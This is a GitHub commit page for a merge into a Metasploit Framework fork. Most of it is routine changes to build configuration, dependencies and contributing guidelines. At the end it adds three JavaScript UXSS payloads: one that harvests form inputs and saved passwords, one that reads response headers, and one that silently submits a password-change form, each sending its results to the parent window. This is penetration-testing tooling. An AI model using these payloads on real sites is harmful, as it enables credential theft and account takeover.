Skip to content

Commit ce8452a

Browse files
author
Pedro Ribeiro
committed
Merge pull request #3 from rapid7/master
bla
2 parents 9e86582 + 64dbc39 commit ce8452a

File tree

347 files changed

+10215
-2900
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

347 files changed

+10215
-2900
lines changed

.gitignore

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -13,6 +13,8 @@ Gemfile.local.lock
1313
.DS_Store
1414
# database config for testing
1515
config/database.yml
16+
# target config file for testing
17+
features/support/targets.yml
1618
# simplecov coverage data
1719
coverage
1820
doc/
@@ -50,6 +52,8 @@ tags
5052

5153
# Rails log directory
5254
/log
55+
# Rails tmp directory
56+
/tmp
5357

5458
# ignore release/debug folders for exploits
5559
external/source/exploits/**/Debug

.simplecov

Lines changed: 0 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -39,7 +39,6 @@ SimpleCov.configure do
3939
# Other library groups
4040
#
4141

42-
add_group 'Fastlib', 'lib/fastlib'
4342
add_group 'Metasm', 'lib/metasm'
4443
add_group 'PacketFu', 'lib/packetfu'
4544
add_group 'Rex', 'lib/rex'

.travis.yml

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,8 @@
11
env:
22
- RAKE_TASK=cucumber
3+
- RAKE_TASK=cucumber:boot
34
- RAKE_TASK=spec
5+
46
language: ruby
57
before_install:
68
- rake --version

CONTRIBUTING.md

Lines changed: 11 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -3,13 +3,17 @@
33
Thanks for your interest in making Metasploit -- and therefore, the
44
world -- a better place!
55

6-
Are you about to report a bug? If so, please use our [Redmine Bug
7-
Tracker](https://dev.metasploit.com/redmine/projects/framework). An
8-
account is required but it only takes a minute or two.
6+
Are you about to report a bug? Sorry to hear it.
97

10-
Are you about to report a security vulnerability in Metasploit?
11-
If so, please take a look at Rapid's [Vulnerability
12-
Disclosure Policy](https://www.rapid7.com/disclosure.jsp) policy.
8+
Here's our [Issue tracker](https://github.com/rapid7/metasploit-framework/issues).
9+
Please try to be as specific as you can about your problem, include steps
10+
to reproduce (cut and paste from your console output if it's helpful), and
11+
what you were expecting to happen.
12+
13+
Are you about to report a security vulnerability in Metasploit itself?
14+
How ironic! Please take a look at Rapid7's [Vulnerability
15+
Disclosure Policy](https://www.rapid7.com/disclosure.jsp), and send
16+
your report to [email protected] using [our PGP key](http://pgp.mit.edu:11371/pks/lookup?op=vindex&search=0x2380F85B8AD4DB8D).
1317

1418
Are you about to contribute some new functionality, a bug fix, or a new
1519
Metasploit module? If so, read on...
@@ -64,18 +68,14 @@ Pull requests [#2940](https://github.com/rapid7/metasploit-framework/pull/2940)
6468
#### Bug Fixes
6569

6670
* **Do** include reproduction steps in the form of verification steps.
67-
* **Do** include a link to the corresponding [Redmine](https://dev.metasploit.com/redmine/projects/framework) issue in the format of `SeeRM #1234` in your commit description.
71+
* **Do** include a link to any corresponding [Issue](https://github.com/rapid7/metasploit-framework/issues) in the format of `See #1234` in your commit description.
6872

6973
## Bug Reports
7074

7175
* **Do** report vulnerabilities in Rapid7 software directly to [email protected].
72-
* **Do** create a Redmine account and report your non-vulnerability bugs there.
7376
* **Do** write a detailed description of your bug and use a descriptive title.
7477
* **Do** include reproduction steps, stack traces, and anything else that might help us verify and fix your bug.
7578
* **Don't** file duplicate reports - search for your bug before filing a new report.
76-
* **Don't** report a bug on GitHub. Use [Redmine](https://dev.metasploit.com/redmine/projects/framework) instead.
77-
78-
Redmine issues [#8762](https://dev.metasploit.com/redmine/issues/8762) and [#8764](https://dev.metasploit.com/redmine/issues/8764) are a couple good examples to follow.
7979

8080
If you need some more guidance, talk to the main body of open
8181
source contributors over on the [Freenode IRC channel](http://webchat.freenode.net/?channels=%23metasploit&uio=d4)

Gemfile

Lines changed: 5 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -6,10 +6,11 @@ gemspec
66
group :db do
77
# Needed for Msf::DbManager
88
gem 'activerecord', '>= 3.0.0', '< 4.0.0'
9+
910
# Metasploit::Credential database models
10-
gem 'metasploit-credential', '>= 0.9.0'
11+
gem 'metasploit-credential', '~> 0.10.1'
1112
# Database models shared between framework and Pro.
12-
gem 'metasploit_data_models', '~> 0.19'
13+
gem 'metasploit_data_models', '~> 0.20.1'
1314
# Needed for module caching in Mdm::ModuleDetails
1415
gem 'pg', '>= 0.11'
1516
end
@@ -38,7 +39,7 @@ group :development, :test do
3839
gem 'rspec', '>= 2.12', '< 3.0.0'
3940
# Define `rake spec`. Must be in development AND test so that its available by default as a rake test when the
4041
# environment is development
41-
gem 'rspec-rails' , '>= 2.12', '< 3.0.0'
42+
gem 'rspec-rails' , '>= 2.12', '< 3.0.0'
4243
end
4344

4445
group :pcap do
@@ -51,7 +52,7 @@ group :test do
5152
# cucumber extension for testing command line applications, like msfconsole
5253
gem 'aruba'
5354
# cucumber + automatic database cleaning with database_cleaner
54-
gem 'cucumber-rails'
55+
gem 'cucumber-rails', :require => false
5556
gem 'shoulda-matchers'
5657
# code coverage for tests
5758
# any version newer than 0.5.4 gives an Encoding error when trying to read the source files.

Gemfile.lock

Lines changed: 46 additions & 17 deletions
Original file line numberDiff line numberDiff line change
@@ -5,14 +5,15 @@ PATH
55
actionpack (< 4.0.0)
66
activesupport (>= 3.0.0, < 4.0.0)
77
bcrypt
8+
jsobfu (~> 0.1.7)
89
json
9-
metasploit-model (~> 0.26.1)
10+
metasploit-concern (~> 0.2.1)
11+
metasploit-model (~> 0.27.1)
1012
meterpreter_bins (= 0.0.7)
1113
msgpack
1214
nokogiri
1315
packetfu (= 1.1.9)
1416
railties
15-
rkelly-remix (= 0.0.6)
1617
robots
1718
rubyzip (~> 1.1)
1819
sqlite3
@@ -21,6 +22,9 @@ PATH
2122
GEM
2223
remote: https://rubygems.org/
2324
specs:
25+
actionmailer (3.2.19)
26+
actionpack (= 3.2.19)
27+
mail (~> 2.5.4)
2428
actionpack (3.2.19)
2529
activemodel (= 3.2.19)
2630
activesupport (= 3.2.19)
@@ -39,6 +43,9 @@ GEM
3943
activesupport (= 3.2.19)
4044
arel (~> 3.0.2)
4145
tzinfo (~> 0.3.29)
46+
activeresource (3.2.19)
47+
activemodel (= 3.2.19)
48+
activesupport (= 3.2.19)
4249
activesupport (3.2.19)
4350
i18n (~> 0.6, >= 0.6.4)
4451
multi_json (~> 1.0)
@@ -65,10 +72,11 @@ GEM
6572
diff-lcs (>= 1.1.3)
6673
gherkin (~> 2.11.0)
6774
json (>= 1.4.6)
68-
cucumber-rails (1.3.0)
75+
cucumber-rails (1.4.0)
6976
capybara (>= 1.1.2)
70-
cucumber (>= 1.1.8)
77+
cucumber (>= 1.2.0)
7178
nokogiri (>= 1.5.0)
79+
rails (>= 3.0.0)
7280
diff-lcs (1.2.5)
7381
erubis (2.7.0)
7482
factory_girl (4.4.0)
@@ -83,28 +91,37 @@ GEM
8391
hike (1.2.3)
8492
i18n (0.6.11)
8593
journey (1.0.4)
94+
jsobfu (0.1.7)
95+
rkelly-remix (= 0.0.6)
8696
json (1.8.1)
87-
metasploit-concern (0.1.1)
97+
mail (2.5.4)
98+
mime-types (~> 1.16)
99+
treetop (~> 1.4.8)
100+
metasploit-concern (0.2.1)
88101
activesupport (~> 3.0, >= 3.0.0)
89-
metasploit-credential (0.9.0)
90-
metasploit-concern (~> 0.1.0)
91-
metasploit-model (~> 0.26.1)
92-
metasploit_data_models (~> 0.19.4)
102+
railties (< 4.0.0)
103+
metasploit-credential (0.10.1)
104+
metasploit-concern (~> 0.2.1)
105+
metasploit-model (~> 0.27.0)
106+
metasploit_data_models (~> 0.20.0)
93107
pg
108+
railties (< 4.0.0)
94109
rubyntlm
95110
rubyzip (~> 1.1)
96-
metasploit-model (0.26.1)
111+
metasploit-model (0.27.1)
97112
activesupport
98-
metasploit_data_models (0.19.4)
113+
railties (< 4.0.0)
114+
metasploit_data_models (0.20.1)
99115
activerecord (>= 3.2.13, < 4.0.0)
100116
activesupport
101117
arel-helpers
102-
metasploit-concern (~> 0.1.0)
103-
metasploit-model (~> 0.26.1)
118+
metasploit-concern (~> 0.2.1)
119+
metasploit-model (~> 0.27.0)
104120
pg
121+
railties (< 4.0.0)
105122
meterpreter_bins (0.0.7)
106123
method_source (0.8.2)
107-
mime-types (2.3)
124+
mime-types (1.25.1)
108125
mini_portile (0.6.0)
109126
msgpack (0.5.8)
110127
multi_json (1.0.4)
@@ -114,6 +131,7 @@ GEM
114131
packetfu (1.1.9)
115132
pcaprub (0.11.3)
116133
pg (0.17.1)
134+
polyglot (0.3.5)
117135
pry (0.10.0)
118136
coderay (~> 1.1.0)
119137
method_source (~> 0.8.1)
@@ -125,6 +143,14 @@ GEM
125143
rack
126144
rack-test (0.6.2)
127145
rack (>= 1.0)
146+
rails (3.2.19)
147+
actionmailer (= 3.2.19)
148+
actionpack (= 3.2.19)
149+
activerecord (= 3.2.19)
150+
activeresource (= 3.2.19)
151+
activesupport (= 3.2.19)
152+
bundler (~> 1.0)
153+
railties (= 3.2.19)
128154
railties (3.2.19)
129155
actionpack (= 3.2.19)
130156
activesupport (= 3.2.19)
@@ -174,7 +200,10 @@ GEM
174200
thor (0.19.1)
175201
tilt (1.4.1)
176202
timecop (0.7.1)
177-
tzinfo (0.3.40)
203+
treetop (1.4.15)
204+
polyglot
205+
polyglot (>= 0.3.1)
206+
tzinfo (0.3.41)
178207
xpath (2.0.0)
179208
nokogiri (~> 1.3)
180209
yard (0.8.7.4)
@@ -189,9 +218,9 @@ DEPENDENCIES
189218
factory_girl (>= 4.1.0)
190219
factory_girl_rails
191220
fivemat (= 1.2.1)
192-
metasploit-credential (>= 0.9.0)
221+
metasploit-credential (~> 0.10.1)
193222
metasploit-framework!
194-
metasploit_data_models (~> 0.19)
223+
metasploit_data_models (~> 0.20.1)
195224
network_interface (~> 0.0.1)
196225
pcaprub
197226
pg (>= 0.11)

LICENSE

Lines changed: 0 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -87,10 +87,6 @@ Files: lib/bit-struct.rb lib/bit-struct/*
8787
Copyright: 2005-2009, Joel VanderWerf
8888
License: Ruby
8989

90-
Files: lib/fastlib.rb
91-
Copyright: 2011, Rapid7, Inc.
92-
License: Ruby
93-
9490
Files: lib/metasm.rb lib/metasm/* data/cpuinfo/*
9591
Copyright: 2006-2010 Yoann GUILLOT
9692
License: LGPL-2.1

Rakefile

100644100755
File mode changed.

app/concerns/metasploit/credential/core/to_credential.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -9,8 +9,8 @@ module Metasploit::Credential::Core::ToCredential
99

1010
def to_credential
1111
Metasploit::Framework::Credential.new(
12-
public: public.try(:username),
13-
private: private.try(:data),
12+
public: public.try(:username) || '',
13+
private: private.try(:data) || '',
1414
private_type: private.try(:type).try(:demodulize).try(:underscore).try(:to_sym),
1515
realm: realm.try(:value),
1616
realm_key: realm.try(:key),

config/cucumber.yml

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,9 @@
22
rerun = File.file?('rerun.txt') ? IO.read('rerun.txt') : ""
33
rerun_opts = rerun.to_s.strip.empty? ? "--format #{ENV['CUCUMBER_FORMAT'] || 'progress'} features" : "--format #{ENV['CUCUMBER_FORMAT'] || 'pretty'} #{rerun}"
44
std_opts = "--format #{ENV['CUCUMBER_FORMAT'] || 'pretty'} --strict --tags ~@wip"
5+
ignored_tags = "--tags ~@boot --tags ~@targets"
56
%>
6-
default: <%= std_opts %> features
7+
default: <%= std_opts %> <%= ignored_tags %> features
8+
boot: <%= std_opts %> --tags @boot features
79
wip: --tags @wip:3 --wip features
810
rerun: <%= rerun_opts %> --format rerun --out rerun.txt --strict --tags ~@wip

data/exploits/uxss/steal_form.js

Lines changed: 33 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,33 @@
1+
/* steal_form.js: can be injected into a frame/window after a UXSS */
2+
/* exploit to steal any autofilled inputs, saved passwords, or any */
3+
/* data entered into a form. */
4+
5+
/* keep track of what input fields we have discovered */
6+
var found = {};
7+
setInterval(function(){
8+
/* poll the DOM to check for any new input fields */
9+
var inputs = document.querySelectorAll('input,textarea,select');
10+
Array.prototype.forEach.call(inputs, function(input) {
11+
var val = input.value||'';
12+
var name = input.getAttribute('name')||'';
13+
var t = input.getAttribute('type')||'';
14+
if (input.tagName == 'SELECT') {
15+
try { val = input.querySelector('option:checked').value }
16+
catch (e) {}
17+
}
18+
if (input.tagName == 'INPUT' && t.toLowerCase()=='hidden') return;
19+
20+
/* check if this is a valid input/value pair */
21+
try {
22+
if (val.length && name.length) {
23+
if (found[name] != val) {
24+
25+
/* new input/value discovered, remember it and send it up */
26+
found[name] = val;
27+
var result = { name: name, value: val, url: window.location.href, send: true };
28+
(opener||top).postMessage(JSON.stringify(result), '*');
29+
}
30+
}
31+
} catch (e) {}
32+
});
33+
}, 200);

data/exploits/uxss/steal_headers.js

Lines changed: 17 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,17 @@
1+
/* steal_headers.js: can be injected into a frame/window after a UXSS */
2+
/* exploit to steal the response headers of the loaded URL. */
3+
4+
/* send an XHR request to our current page */
5+
var x = new XMLHttpRequest;
6+
x.open('GET', window.location.href, true);
7+
x.onreadystatechange = function() {
8+
/* when the XHR request is complete, grab the headers and send them back */
9+
if (x.readyState == 2) {
10+
(opener||top).postMessage(JSON.stringify({
11+
headers: x.getAllResponseHeaders(),
12+
url: window.location.href,
13+
send: true
14+
}), '*');
15+
}
16+
};
17+
x.send();

data/exploits/uxss/submit_form.js

Lines changed: 36 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,36 @@
1+
/* submit_form.js: can be injected into a frame/window after a UXSS */
2+
/* exploit to modify and submit a form in the target page. */
3+
4+
/* modify this hash to your liking */
5+
var formInfo = {
6+
7+
/* CSS selector for the form you want to submit */
8+
selector: 'form[action="/update_password"]',
9+
10+
/* inject values into some input fields */
11+
inputs: {
12+
'user[new_password]': 'pass1234',
13+
'user[new_password_confirm]': 'pass1234'
14+
}
15+
}
16+
17+
var c = setInterval(function(){
18+
/* find the form... */
19+
var form = document.querySelector(formInfo.selector);
20+
if (!form) return;
21+
22+
/* loop over every input field, set the value as specified. */
23+
Array.prototype.forEach.call(form.elements, function(input) {
24+
var inject = formInfo.inputs[input.name];
25+
if (inject) input.setAttribute('value', inject);
26+
});
27+
28+
/* submit the form and clean up */
29+
form.submit();
30+
clearInterval(c);
31+
32+
/* report back */
33+
var message = "Form submitted to "+form.getAttribute('action');
34+
var url = window.location.href;
35+
(opener||top).postMessage(JSON.stringify({message: message, url: url}), '*');
36+
}, 100);

0 commit comments

Comments
 (0)